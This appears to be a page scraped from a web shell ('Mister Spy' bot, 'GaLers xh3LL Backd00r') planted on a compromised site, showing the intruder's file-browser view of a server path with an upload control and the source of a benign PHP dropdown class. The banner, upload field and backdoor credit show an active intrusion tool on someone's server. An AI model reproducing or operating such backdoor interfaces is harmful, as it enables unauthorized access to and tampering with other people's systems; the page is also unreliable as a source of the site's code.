Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.dropdown.php

<?php

class DropDown
{
	public $Name;
	public $Values;
	public $ExtraHTML;
	public $NullValue;
	public $NullDescription;
	public $Enabled;
	private $Index;
	
	public function __construct()
	{
		$this->Name 			= 'lst';
		$this->Index 			= 0;
		$this->Values 			= array();
		$this->NullDescription 	= '[Seleccione]';
		$this->NullValue 		= '';
		$this->Enabled 			= true;
	}
	

	public function Write()
	{
		print "<SELECT NAME='" . $this->Name ."' ID='". $this->Name ."' ";
		print $this->ExtraHTML;
		if (!$this->Enabled)
			print " DISABLED";
		print " >";
		
		if ($this->NullValue != '' || $this->NullDescription != '')
		{
			print "<OPTION";
			print " VALUE='" . $this->NullValue . "'";
			print ">" . $this->NullDescription . "</OPTION>";
		}
		
		foreach ($this->Values as $element)
		{
			print "<OPTION";
			print " VALUE='" . $element->Value . "'";
			if ($element->Selected)
				print " SELECTED";
			print ">" . $element->Description . "</OPTION>";
		}
		
		print "</SELECT>";
	}


	public function AddElement($description, $value)
	{
		$element = new DropDownElement();
		$element->Description = $description;
		$element->Value = $value;
		array_push($this->Values, $element);
	}


	public function SetSelected($value)
	{
		foreach ($this->Values as $element)
			$element->Selected = ($element->Value == $value);
	}
} 


class DropDownElement
{
	public $Description;
	public $Value;
	public $Selected;
	
	public function __construct()
	{
		$this->Description = '';
		$this->Value = '';
		$this->Selected = false;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat